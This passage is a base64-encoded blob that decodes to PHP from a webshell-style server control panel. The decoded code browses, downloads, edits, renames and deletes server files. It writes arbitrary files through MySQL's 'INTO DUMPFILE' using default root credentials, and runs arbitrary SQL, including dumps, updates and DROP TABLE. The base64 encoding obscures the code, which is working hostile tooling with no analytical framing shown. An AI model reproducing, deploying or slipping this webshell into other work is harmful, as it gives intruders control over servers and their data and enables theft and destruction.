WRiWydmaWxlbmFtZSddIT0nLi4nICYmICRmaWxlZGJbJ2ZpbGVuYW1lJ10hPScuJykgew0KCQkJJGZpbGV1cmwgPSBzdHJfcmVwbGFjZShTQV9ST09ULCcnLCRmaWxlZGJbJ3NlcnZlcl9saW5rJ10pOw0KCQkJJHRoaXNiZyA9IGJnKCk7DQoJCQlwKCc8dHIgY2xhc3M9ImZvdXQiIG9ubW91c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvdXRcJzsiPicpOw0KCQkJcCgnPHRkIHdpZHRoPSIyJSIgbm93cmFwPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgdmFsdWU9IjEiIG5hbWU9ImRsWycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXSI+PC90ZD4nKTsNCgkJCXAoJzx0ZD48YSBocmVmPSInLiRmaWxldXJsLiciIHRhcmdldD0iX2JsYW5rIj4nLiRmaWxlZGJbJ2ZpbGVuYW1lJ10uJzwvYT48L3RkPicpOw0KCQkJcCgnPHRkIG5vd3JhcD4nLiRmaWxlZGJbJ210aW1lJ10uJzwvdGQ+Jyk7DQoJCQlwKCc8dGQgbm93cmFwPicuJGZpbGVkYlsnc2l6ZSddLic8L3RkPicpOw0KCQkJcCgnPHRkIG5vd3JhcD4nKTsNCgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6ZmlsZXBlcm0oXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPicuJGZpbGVkYlsnZmlsZWNobW9kJ10uJzwvYT4gLyAnKTsNCgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6ZmlsZXBlcm0oXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPicuJGZpbGVkYlsnZmlsZXBlcm0nXS4nPC9hPicuJGZpbGVkYlsnZmlsZW93bmVyJ10uJzwvdGQ+Jyk7DQoJCQlwKCc8dGQgbm93cmFwPicpOw0KCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpkb2ZpbGUoXCdkb3duZmlsZVwnLFwnJy4kZmlsZWRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij5Eb3duPC9hPiB8ICcpOw0KCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpjb3B5ZmlsZShcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+Q29weTwvYT4gfCAnKTsNCgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6b3BmaWxlKFwnZWRpdGZpbGVcJyxcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcsXCcnLiRmaWxlZGJbJ2RpcmxpbmsnXS4nXCcpOyI+RWRpdDwvYT4gfCAnKTsNCgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6cmVuYW1lKFwnJy4kZmlsZWRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij5SZW5hbWU8L2E+IHwgJyk7DQoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0Om9wZmlsZShcJ25ld3RpbWVcJyxcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcsXCcnLiRmaWxlZGJbJ2RpcmxpbmsnXS4nXCcpOyI+VGltZTwvYT4nKTsNCgkJCXAoJzwvdGQ+PC90cj4nKTsNCgkJCSRmaWxlX2krKzsNCgkJfQ0KCX0NCglwKCc8dHIgY2xhc3M9ImZvdXQxIj48dGQgYWxpZ249ImNlbnRlciI+PGlucHV0IG5hbWU9ImNoa2FsbCIgdmFsdWU9Im9uIiB0eXBlPSJjaGVja2JveCIgb25jbGljaz0iQ2hlY2tBbGwodGhpcy5mb3JtKSIgLz48L3RkPjx0ZD48YSBocmVmPSJqYXZhc2NyaXB0OmRvZmlsZShcJ2Rvd25yYXJcJyk7Ij5QYWNraW5nIGRvd25sb2FkIHNlbGVjdGVkPC9hPiAtIDxhIGhyZWY9ImphdmFzY3JpcHQ6ZG9maWxlKFwnZGVsZmlsZXNcJyk7Ij5EZWxldGUgc2VsZWN0ZWQ8L2E+PC90ZD48dGQgY29sc3Bhbj0iNCIgYWxpZ249InJpZ2h0Ij4nLiRkaXJfaS4nIGRpcmVjdG9yaWVzIC8gJy4kZmlsZV9pLicgZmlsZXM8L3RkPjwvdHI+Jyk7DQoJcCgnPC9mb3JtPjwvdGFibGU+Jyk7DQp9Ly8gZW5kIGRpcg0KDQplbHNlaWYgKCRhY3Rpb24gPT0gJ3NxbGZpbGUnKSB7DQoJaWYoJGRvaW5nPT0ibXlzcWx1cGxvYWQiKXsNCgkJJGZpbGUgPSAkX0ZJTEVTWyd1cGxvYWRmaWxlJ107DQoJCSRmaWxlbmFtZSA9ICRmaWxlWyd0bXBfbmFtZSddOw0KCQlpZiAoZmlsZV9leGlzdHMoJHNhdmVwYXRoKSkgew0KCQkJbSgnVGhlIGdvYWwgZmlsZSBoYXMgYWxyZWFkeSBleGlzdGVkJyk7DQoJCX0gZWxzZSB7DQoJCQlpZighJGZpbGVuYW1lKSB7DQoJCQkJbSgnUGxlYXNlIGNob29zZSBhIGZpbGUnKTsNCgkJCX0gZWxzZSB7DQoJCQkJJGZwPUBmb3BlbigkZmlsZW5hbWUsJ3InKTsNCgkJCQkkY29udGVudHM9QGZyZWFkKCRmcCwgZmlsZXNpemUoJGZpbGVuYW1lKSk7DQoJCQkJQGZjbG9zZSgkZnApOw0KCQkJCSRjb250ZW50cyA9IGJpbjJoZXgoJGNvbnRlbnRzKTsNCgkJCQlpZighJHVwbmFtZSkgJHVwbmFtZSA9ICRmaWxlWyduYW1lJ107DQoJCQkJZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWUsJGNoYXJzZXQsJGRicG9ydCk7DQoJCQkJJHJlc3VsdCA9IHEoIlNFTEVDVCAweHskY29udGVudHN9IEZST00gbXlzcWwudXNlciBJTlRPIERVTVBGSUxFICckc2F2ZXBhdGgnOyIpOw0KCQkJCW0oJHJlc3VsdCA/ICdVcGxvYWQgc3VjY2VzcycgOiAnVXBsb2FkIGhhcyBmYWlsZWQ6ICcubXlzcWxfZXJyb3IoKSk7DQoJCQl9DQoJCX0NCgl9DQo/Pg0KDQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQpmdW5jdGlvbiBteXNxbGZpbGUoZG9pbmcpew0KCWlmKCFkb2luZykgcmV0dXJuOw0KCSQoJ2RvaW5nJykudmFsdWU9ZG9pbmc7DQoJJCgnbXlzcWxmaWxlJykuZGJob3N0LnZhbHVlPSQoJ2RiaW5mbycpLmRiaG9zdC52YWx1ZTsNCgkkKCdteXNxbGZpbGUnKS5kYnBvcnQudmFsdWU9JCgnZGJpbmZvJykuZGJwb3J0LnZhbHVlOw0KCSQoJ215c3FsZmlsZScpLmRidXNlci52YWx1ZT0kKCdkYmluZm8nKS5kYnVzZXIudmFsdWU7DQoJJCgnbXlzcWxmaWxlJykuZGJwYXNzLnZhbHVlPSQoJ2RiaW5mbycpLmRicGFzcy52YWx1ZTsNCgkkKCdteXNxbGZpbGUnKS5kYm5hbWUudmFsdWU9JCgnZGJpbmZvJykuZGJuYW1lLnZhbHVlOw0KCSQoJ215c3FsZmlsZScpLmNoYXJzZXQudmFsdWU9JCgnZGJpbmZvJykuY2hhcnNldC52YWx1ZTsNCgkkKCdteXNxbGZpbGUnKS5zdWJtaXQoKTsNCn0NCjwvc2NyaXB0Pg0KPD9waHANCgkhJGRiaG9zdCAmJiAkZGJob3N0ID0gJ2xvY2FsaG9zdCc7DQoJISRkYnVzZXIgJiYgJGRidXNlciA9ICdyb290JzsNCgkhJGRicG9ydCAmJiAkZGJwb3J0ID0gJzMzMDYnOw0KCSRjaGFyc2V0cyA9IGFycmF5KCcnPT4nRGVmYXVsdCcsJ2diayc9PidHQksnLCAnYmlnNSc9PidCaWc1JywgJ3V0ZjgnPT4nVVRGLTgnLCAnbGF0aW4xJz0+J0xhdGluMScpOw0KCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidNWVNRTCBJbmZvcm1hdGlvbicsJ25hbWUnPT4nZGJpbmZvJykpOw0KCW1ha2VoaWRlKCdhY3Rpb24nLCdzcWxmaWxlJyk7DQoJcCgnPHA+Jyk7DQoJcCgnREJIb3N0OicpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYmhvc3QnLCdzaXplJz0+MjAsJ3ZhbHVlJz0+JGRiaG9zdCkpOw0KCXAoJzonKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJwb3J0Jywnc2l6ZSc9PjQsJ3ZhbHVlJz0+JGRicG9ydCkpOw0KCXAoJ0RCVXNlcjonKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJ1c2VyJywnc2l6ZSc9PjE1LCd2YWx1ZSc9PiRkYnVzZXIpKTsNCglwKCdEQlBhc3M6Jyk7DQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RicGFzcycsJ3NpemUnPT4xNSwndmFsdWUnPT4kZGJwYXNzKSk7DQoJcCgnREJOYW1lOicpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYm5hbWUnLCdzaXplJz0+MTUsJ3ZhbHVlJz0+JGRibmFtZSkpOw0KCXAoJ0RCQ2hhcnNldDonKTsNCgltYWtlc2VsZWN0KGFycmF5KCduYW1lJz0+J2NoYXJzZXQnLCdvcHRpb24nPT4kY2hhcnNldHMsJ3NlbGVjdGVkJz0+JGNoYXJzZXQpKTsNCglwKCc8L3A+Jyk7DQoJZm9ybWZvb3QoKTsNCglwKCc8Zm9ybSBhY3Rpb249IicuJHNlbGYuJyIgbWV0aG9kPSJQT1NUIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBuYW1lPSJteXNxbGZpbGUiIGlkPSJteXNxbGZpbGUiPicpOw0KCXAoJzxoMj5VcGxvYWQgZmlsZTwvaDI+Jyk7DQoJcCgnPHA+PGI+VGhpcyBvcGVyYXRpb24gdGhlIERCIHVzZXIgbXVzdCBoYXMgRklMRSBwcml2aWxlZ2U8L2I+PC9wPicpOw0KCXAoJzxwPlNhdmUgcGF0aChmdWxscGF0aCk6IDxpbnB1dCBjbGFzcz0iaW5wdXQiIG5hbWU9InNhdmVwYXRoIiBzaXplPSI0NSIgdHlwZT0idGV4dCIgLz4gQ2hvb3NlIGEgZmlsZTogPGlucHV0IGNsYXNzPSJpbnB1dCIgbmFtZT0idXBsb2FkZmlsZSIgdHlwZT0iZmlsZSIgLz4gPGEgaHJlZj0iamF2YXNjcmlwdDpteXNxbGZpbGUoXCdteXNxbHVwbG9hZFwnKTsiPlVwbG9hZDwvYT48L3A+Jyk7DQoJcCgnPGgyPkRvd25sb2FkIGZpbGU8L2gyPicpOw0KCXAoJzxwPkZpbGU6IDxpbnB1dCBjbGFzcz0iaW5wdXQiIG5hbWU9Im15c3FsZGxmaWxlIiBzaXplPSIxMTUiIHR5cGU9InRleHQiIC8+IDxhIGhyZWY9ImphdmFzY3JpcHQ6bXlzcWxmaWxlKFwnbXlzcWxkb3duXCcpOyI+RG93bmxvYWQ8L2E+PC9wPicpOw0KCW1ha2VoaWRlKCdkYmhvc3QnKTsNCgltYWtlaGlkZSgnZGJwb3J0Jyk7DQoJbWFrZWhpZGUoJ2RidXNlcicpOw0KCW1ha2VoaWRlKCdkYnBhc3MnKTsNCgltYWtlaGlkZSgnZGJuYW1lJyk7DQoJbWFrZWhpZGUoJ2NoYXJzZXQnKTsNCgltYWtlaGlkZSgnZG9pbmcnKTsNCgltYWtlaGlkZSgnYWN0aW9uJywnc3FsZmlsZScpOw0KCXAoJzwvZm9ybT4nKTsNCn0NCg0KZWxzZWlmICgkYWN0aW9uID09ICdzcWxhZG1pbicpIHsNCgkhJGRiaG9zdCAmJiAkZGJob3N0ID0gJ2xvY2FsaG9zdCc7DQoJISRkYnVzZXIgJiYgJGRidXNlciA9ICdyb290JzsNCgkhJGRicG9ydCAmJiAkZGJwb3J0ID0gJzMzMDYnOw0KCSRkYmZvcm0gPSAnPGlucHV0IHR5cGU9ImhpZGRlbiIgaWQ9ImNvbm5lY3QiIG5hbWU9ImNvbm5lY3QiIHZhbHVlPSIxIiAvPic7DQoJaWYoaXNzZXQoJGRiaG9zdCkpew0KCQkkZGJmb3JtIC49ICI8aW5wdXQgdHlwZT1cImhpZGRlblwiIGlkPVwiZGJob3N0XCIgbmFtZT1cImRiaG9zdFwiIHZhbHVlPVwiJGRiaG9zdFwiIC8+XG4iOw0KCX0NCglpZihpc3NldCgkZGJ1c2VyKSkgew0KCQkkZGJmb3JtIC49ICI8aW5wdXQgdHlwZT1cImhpZGRlblwiIGlkPVwiZGJ1c2VyXCIgbmFtZT1cImRidXNlclwiIHZhbHVlPVwiJGRidXNlclwiIC8+XG4iOw0KCX0NCglpZihpc3NldCgkZGJwYXNzKSkgew0KCQkkZGJmb3JtIC49ICI8aW5wdXQgdHlwZT1cImhpZGRlblwiIGlkPVwiZGJwYXNzXCIgbmFtZT1cImRicGFzc1wiIHZhbHVlPVwiJGRicGFzc1wiIC8+XG4iOw0KCX0NCglpZihpc3NldCgkZGJwb3J0KSkgew0KCQkkZGJmb3JtIC49ICI8aW5wdXQgdHlwZT1cImhpZGRlblwiIGlkPVwiZGJwb3J0XCIgbmFtZT1cImRicG9ydFwiIHZhbHVlPVwiJGRicG9ydFwiIC8+XG4iOw0KCX0NCglpZihpc3NldCgkZGJuYW1lKSkgew0KCQkkZGJmb3JtIC49ICI8aW5wdXQgdHlwZT1cImhpZGRlblwiIGlkPVwiZGJuYW1lXCIgbmFtZT1cImRibmFtZVwiIHZhbHVlPVwiJGRibmFtZVwiIC8+XG4iOw0KCX0NCglpZihpc3NldCgkY2hhcnNldCkpIHsNCgkJJGRiZm9ybSAuPSAiPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBpZD1cImNoYXJzZXRcIiBuYW1lPVwiY2hhcnNldFwiIHZhbHVlPVwiJGNoYXJzZXRcIiAvPlxuIjsNCgl9DQoNCglpZiAoJGRvaW5nID09ICdiYWNrdXBteXNxbCcgJiYgJHNhdmVhc2ZpbGUpIHsNCgkJaWYgKCEkdGFibGUpIHsNCgkJCW0oJ1BsZWFzZSBjaG9vc2UgdGhlIHRhYmxlJyk7DQoJCX0gZWxzZSB7DQoJCQlkYmNvbm4oJGRiaG9zdCwkZGJ1c2VyLCRkYnBhc3MsJGRibmFtZSwkY2hhcnNldCwkZGJwb3J0KTsNCgkJCSR0YWJsZSA9IGFycmF5X2ZsaXAoJHRhYmxlKTsNCgkJCSRmcCA9IEBmb3BlbigkcGF0aCwndycpOw0KCQkJaWYgKCRmcCkgew0KCQkJCSRyZXN1bHQgPSBxKCdTSE9XIHRhYmxlcycpOw0KCQkJCWlmICghJHJlc3VsdCkgcCgnPGgyPicubXlzcWxfZXJyb3IoKS4nPC9oMj4nKTsNCgkJCQkkbXlzcWxkYXRhID0gJyc7DQoJCQkJd2hpbGUgKCRjdXJyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkgew0KCQkJCQlpZiAoaXNzZXQoJHRhYmxlWyRjdXJyb3dbMF1dKSkgew0KCQkJCQkJc3FsZHVtcHRhYmxlKCRjdXJyb3dbMF0sICRmcCk7DQoJCQkJCX0NCgkJCQl9DQoJCQkJZmNsb3NlKCRmcCk7DQoJCQkJJGZpbGV1cmwgPSBzdHJfcmVwbGFjZShTQV9ST09ULCcnLCRwYXRoKTsNCgkJCQltKCdEYXRhYmFzZSBoYXMgc3VjY2VzcyBiYWNrdXAgdG8gPGEgaHJlZj0iJy4kZmlsZXVybC4nIiB0YXJnZXQ9Il9ibGFuayI+Jy4kcGF0aC4nPC9hPicpOw0KCQkJCW15c3FsX2Nsb3NlKCk7DQoJCQl9IGVsc2Ugew0KCQkJCW0oJ0JhY2t1cCBmYWlsZWQnKTsNCgkJCX0NCgkJfQ0KCX0NCglpZiAoJGluc2VydCAmJiAkaW5zZXJ0c3FsKSB7DQoJCSRrZXlzdHIgPSAkdmFsc3RyID0gJHRtcCA9ICcnOw0KCQlmb3JlYWNoKCRpbnNlcnRzcWwgYXMgJGtleSA9PiAkdmFsKSB7DQoJCQlpZiAoJHZhbCkgew0KCQkJCSRrZXlzdHIgLj0gJHRtcC4ka2V5Ow0KCQkJCSR2YWxzdHIgLj0gJHRtcC4iJyIuYWRkc2xhc2hlcygkdmFsKS4iJyI7DQoJCQkJJHRtcCA9ICcsJzsNCgkJCX0NCgkJfQ0KCQlpZiAoJGtleXN0ciAmJiAkdmFsc3RyKSB7DQoJCQlkYmNvbm4oJGRiaG9zdCwkZGJ1c2VyLCRkYnBhc3MsJGRibmFtZSwkY2hhcnNldCwkZGJwb3J0KTsNCgkJCW0ocSgiSU5TRVJUIElOVE8gJHRhYmxlbmFtZSAoJGtleXN0cikgVkFMVUVTICgkdmFsc3RyKSIpID8gJ0luc2VydCBuZXcgcmVjb3JkIG9mIHN1Y2Nlc3MnIDogbXlzcWxfZXJyb3IoKSk7DQoJCX0NCgl9DQoJaWYgKCR1cGRhdGUgJiYgJGluc2VydHNxbCAmJiAkYmFzZTY0KSB7DQoJCSR2YWxzdHIgPSAkdG1wID0gJyc7DQoJCWZvcmVhY2goJGluc2VydHNxbCBhcyAka2V5ID0+ICR2YWwpIHsNCgkJCSR2YWxzdHIgLj0gJHRtcC4ka2V5LiI9JyIuYWRkc2xhc2hlcygkdmFsKS4iJyI7DQoJCQkkdG1wID0gJywnOw0KCQl9DQoJCWlmICgkdmFsc3RyKSB7DQoJCQkkd2hlcmUgPSBiYXNlNjRfZGVjb2RlKCRiYXNlNjQpOw0KCQkJZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWUsJGNoYXJzZXQsJGRicG9ydCk7DQoJCQltKHEoIlVQREFURSAkdGFibGVuYW1lIFNFVCAkdmFsc3RyIFdIRVJFICR3aGVyZSBMSU1JVCAxIikgPyAnUmVjb3JkIHVwZGF0aW5nJyA6IG15c3FsX2Vycm9yKCkpOw0KCQl9DQoJfQ0KCWlmICgkZG9pbmcgPT0gJ2RlbCcgJiYgJGJhc2U2NCkgew0KCQkkd2hlcmUgPSBiYXNlNjRfZGVjb2RlKCRiYXNlNjQpOw0KCQkkZGVsZXRlX3NxbCA9ICJERUxFVEUgRlJPTSAkdGFibGVuYW1lIFdIRVJFICR3aGVyZSI7DQoJCWRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lLCRjaGFyc2V0LCRkYnBvcnQpOw0KCQltKHEoIkRFTEVURSBGUk9NICR0YWJsZW5hbWUgV0hFUkUgJHdoZXJlIikgPyAnRGVsZXRpb24gcmVjb3JkIG9mIHN1Y2Nlc3MnIDogbXlzcWxfZXJyb3IoKSk7DQoJfQ0KDQoJaWYgKCR0YWJsZW5hbWUgJiYgJGRvaW5nID09ICdkcm9wJykgew0KCQlkYmNvbm4oJGRiaG9zdCwkZGJ1c2VyLCRkYnBhc3MsJGRibmFtZSwkY2hhcnNldCwkZGJwb3J0KTsNCgkJaWYgKHEoIkRST1AgVEFCTEUgJHRhYmxlbmFtZSIpKSB7DQoJCQltKCdEcm9wIHRhYmxlIG9mIHN1Y2Nlc3MnKTsNCgkJCSR0YWJsZW5hbWUgPSAnJzsNCgkJfSBlbHNlIHsNCgkJCW0obXlzcWxfZXJyb3IoKSk7DQoJCX0NCgl9DQoNCgkkY2hhcnNldHMgPSBhcnJheSgnJz0+J0RlZmF1bHQnLCdnYmsnPT4nR0JLJywgJ2JpZzUnPT4nQmlnNScsICd1dGY4Jz0+J1VURi04JywgJ2xhdGluMSc9PidMYXRpbjEnKTsNCg0KCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidNWVNRTCBNYW5hZ2VyJykpOw0KCW1ha2VoaWRlKCdhY3Rpb24nLCdzcWxhZG1pbicpOw0KCXAoJzxwPicpOw0KCXAoJ0RCSG9zdDonKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJob3N0Jywnc2l6ZSc9PjIwLCd2YWx1ZSc9PiRkYmhvc3QpKTsNCglwKCc6Jyk7DQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RicG9ydCcsJ3NpemUnPT40LCd2YWx1ZSc9PiRkYnBvcnQpKTsNCglwKCdEQlVzZXI6Jyk7DQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RidXNlcicsJ3NpemUnPT4xNSwndmFsdWUnPT4kZGJ1c2VyKSk7DQoJcCgnREJQYXNzOicpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYnBhc3MnLCdzaXplJz0+MTUsJ3ZhbHVlJz0+JGRicGFzcykpOw0KCXAoJ0RCQ2hhcnNldDonKTsNCgltYWtlc2VsZWN0KGFycmF5KCduYW1lJz0+J2NoYXJzZXQnLCdvcHRpb24nPT4kY2hhcnNldHMsJ3NlbGVjdGVkJz0+JGNoYXJzZXQpKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nY29ubmVjdCcsJ3ZhbHVlJz0+J0Nvbm5lY3QnLCd0eXBlJz0+J3N1Ym1pdCcsJ2NsYXNzJz0+J2J0JykpOw0KCXAoJzwvcD4nKTsNCglmb3JtZm9vdCgpOw0KPz4NCg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KZnVuY3Rpb24gZWRpdHJlY29yZChhY3Rpb24sIGJhc2U2NCwgdGFibGVuYW1lKXsNCglpZiAoYWN0aW9uID09ICdkZWwnKSB7DQoJCWlmICghY29uZmlybSgnSXMgb3IgaXNuXCd0IGRlbGV0aW9uIHJlY29yZD8nKSkgcmV0dXJuOw0KCX0NCgkkKCdyZWNvcmRsaXN0JykuZG9pbmcudmFsdWU9YWN0aW9uOw0KCSQoJ3JlY29yZGxpc3QnKS5iYXNlNjQudmFsdWU9YmFzZTY0Ow0KCSQoJ3JlY29yZGxpc3QnKS50YWJsZW5hbWUudmFsdWU9dGFibGVuYW1lOw0KCSQoJ3JlY29yZGxpc3QnKS5zdWJtaXQoKTsNCn0NCmZ1bmN0aW9uIG1vZGRibmFtZShkYm5hbWUpIHsNCglpZighZGJuYW1lKSByZXR1cm47DQoJJCgnc2V0ZGJuYW1lJykuZGJuYW1lLnZhbHVlPWRibmFtZTsNCgkkKCdzZXRkYm5hbWUnKS5zdWJtaXQoKTsNCn0NCmZ1bmN0aW9uIHNldHRhYmxlKHRhYmxlbmFtZSxkb2luZyxwYWdlKSB7DQoJaWYoIXRhYmxlbmFtZSkgcmV0dXJuOw0KCWlmIChkb2luZykgew0KCQkkKCdzZXR0YWJsZScpLmRvaW5nLnZhbHVlPWRvaW5nOw0KCX0NCglpZiAocGFnZSkgew0KCQkkKCdzZXR0YWJsZScpLnBhZ2UudmFsdWU9cGFnZTsNCgl9DQoJJCgnc2V0dGFibGUnKS50YWJsZW5hbWUudmFsdWU9dGFibGVuYW1lOw0KCSQoJ3NldHRhYmxlJykuc3VibWl0KCk7DQp9DQo8L3NjcmlwdD4NCjw/cGhwDQoJLy8gU1FMDQoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4ncmVjb3JkbGlzdCcpKTsNCgltYWtlaGlkZSgnZG9pbmcnKTsNCgltYWtlaGlkZSgnYWN0aW9uJywnc3FsYWRtaW4nKTsNCgltYWtlaGlkZSgnYmFzZTY0Jyk7DQoJbWFrZWhpZGUoJ3RhYmxlbmFtZScpOw0KCXAoJGRiZm9ybSk7DQoJZm9ybWZvb3QoKTsNCg0KCS8vIERhdGENCglmb3JtaGVhZChhcnJheSgnbmFtZSc9PidzZXRkYm5hbWUnKSk7DQoJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGFkbWluJyk7DQoJcCgkZGJmb3JtKTsNCglpZiAoISRkYm5hbWUpIHsNCgkJbWFrZWhpZGUoJ2RibmFtZScpOw0KCX0NCglmb3JtZm9vdCgpOw0KDQoNCglmb3JtaGVhZChhcnJheSgnbmFtZSc9PidzZXR0YWJsZScpKTsNCgltYWtlaGlkZSgnYWN0aW9uJywnc3FsYWRtaW4nKTsNCglwKCRkYmZvcm0pOw0KCW1ha2VoaWRlKCd0YWJsZW5hbWUnKTsNCgltYWtlaGlkZSgncGFnZScsJHBhZ2UpOw0KCW1ha2VoaWRlKCdkb2luZycpOw0KCWZvcm1mb290KCk7DQoNCgkkY2FjaGV0YWJsZXMgPSBhcnJheSgpOw0KCSRwYWdlbnVtID0gMzA7DQoJJHBhZ2UgPSBpbnR2YWwoJHBhZ2UpOw0KCWlmKCRwYWdlKSB7DQoJCSRzdGFydF9saW1pdCA9ICgkcGFnZSAtIDEpICogJHBhZ2VudW07DQoJfSBlbHNlIHsNCgkJJHN0YXJ0X2xpbWl0ID0gMDsNCgkJJHBhZ2UgPSAxOw0KCX0NCglpZiAoaXNzZXQoJGRiaG9zdCkgJiYgaXNzZXQoJGRidXNlcikgJiYgaXNzZXQoJGRicGFzcykgJiYgaXNzZXQoJGNvbm5lY3QpKSB7DQoJCWRiY29ubigkZGJob3N0LCAkZGJ1c2VyLCAkZGJwYXNzLCAkZGJuYW1lLCAkY2hhcnNldCwgJGRicG9ydCk7DQoJCS8vIGdldCBteXNxbCBzZXJ2ZXINCgkJJG15c3FsdmVyID0gbXlzcWxfZ2V0X3NlcnZlcl9pbmZvKCk7DQoJCXAoJzxwPk15U1FMICcuJG15c3FsdmVyLicgcnVubmluZyBpbiAnLiRkYmhvc3QuJyBhcyAnLiRkYnVzZXIuJ0AnLiRkYmhvc3QuJzwvcD4nKTsNCgkJJGhpZ2h2ZXIgPSAkbXlzcWx2ZXIgPiAnNC4xJyA/IDEgOiAwOw0KDQoJCS8vIFNob3cgZGF0YWJhc2UNCgkJJHF1ZXJ5ID0gcSgiU0hPVyBEQVRBQkFTRVMiKTsNCgkJJGRicyA9IGFycmF5KCk7DQoJCSRkYnNbXSA9ICctLSBTZWxlY3QgYSBkYXRhYmFzZSAtLSc7DQoJCXdoaWxlKCRkYiA9IG15c3FsX2ZldGNoX2FycmF5KCRxdWVyeSkpIHsNCgkJCSRkYnNbJGRiWydEYXRhYmFzZSddXSA9ICRkYlsnRGF0YWJhc2UnXTsNCgkJfQ0KCQltYWtlc2VsZWN0KGFycmF5KCd0aXRsZSc9PidQbGVhc2Ugc2VsZWN0IGEgZGF0YWJhc2U6JywnbmFtZSc9PidkYltdJywnb3B0aW9uJz0+JGRicywnc2VsZWN0ZWQnPT4kZGJuYW1lLCdvbmNoYW5nZSc9Pidtb2RkYm5hbWUodGhpcy5vcHRpb25zW3RoaXMuc2VsZWN0ZWRJbmRleF0udmFsdWUpJywnbmV3bGluZSc9PjEpKTsNCgkJJHRhYmxlZGIgPSBhcnJheSgpOw0KCQlpZiAoJGRibmFtZSkgew0KCQkJcCgnPHA+Jyk7DQoJCQlwKCdDdXJyZW50IGRhYmFiYXNlOiA8YSBocmVmPSJqYXZhc2NyaXB0Om1vZGRibmFtZShcJycuJGRibmFtZS4nXCcpOyI+Jy4kZGJuYW1lLic8L2E+Jyk7DQoJCQlpZiAoJHRhYmxlbmFtZSkgew0KCQkJCXAoJyB8IEN1cnJlbnQgVGFibGU6IDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnKTsiPicuJHRhYmxlbmFtZS4nPC9hPiBbIDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ2luc2VydFwnKTsiPkluc2VydDwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdzdHJ1Y3R1cmVcJyk7Ij5TdHJ1Y3R1cmU8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnZHJvcFwnKTsiPkRyb3A8L2E+IF0nKTsNCgkJCX0NCgkJCXAoJzwvcD4nKTsNCgkJCW15c3FsX3NlbGVjdF9kYigkZGJuYW1lKTsNCg0KCQkJJGdldG51bXNxbCA9ICcnOw0KCQkJJHJ1bnF1ZXJ5ID0gMDsNCgkJCWlmICgkc3FsX3F1ZXJ5KSB7DQoJCQkJJHJ1bnF1ZXJ5ID0gMTsNCgkJCX0NCgkJCSRhbGxvd2VkaXQgPSAwOw0KCQkJaWYgKCR0YWJsZW5hbWUgJiYgISRzcWxfcXVlcnkpIHsNCgkJCQkkc3FsX3F1ZXJ5ID0gIlNFTEVDVCAqIEZST00gJHRhYmxlbmFtZSI7DQoJCQkJJGdldG51bXNxbCA9ICRzcWxfcXVlcnk7DQoJCQkJJHNxbF9xdWVyeSA9ICRzcWxfcXVlcnkuIiBMSU1JVCAkc3RhcnRfbGltaXQsICRwYWdlbnVtIjsNCgkJCQkkYWxsb3dlZGl0ID0gMTsNCgkJCX0NCgkJCXAoJzxmb3JtIGFjdGlvbj0iJy4kc2VsZi4nIiBtZXRob2Q9IlBPU1QiPicpOw0KCQkJcCgnPHA+PHRhYmxlIHdpZHRoPSIyMDAiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj48dHI+PHRkIGNvbHNwYW49IjIiPlJ1biBTUUwgcXVlcnkvcXVlcmllcyBvbiBkYXRhYmFzZSA8Zm9udCBjb2xvcj1yZWQ+PGI+J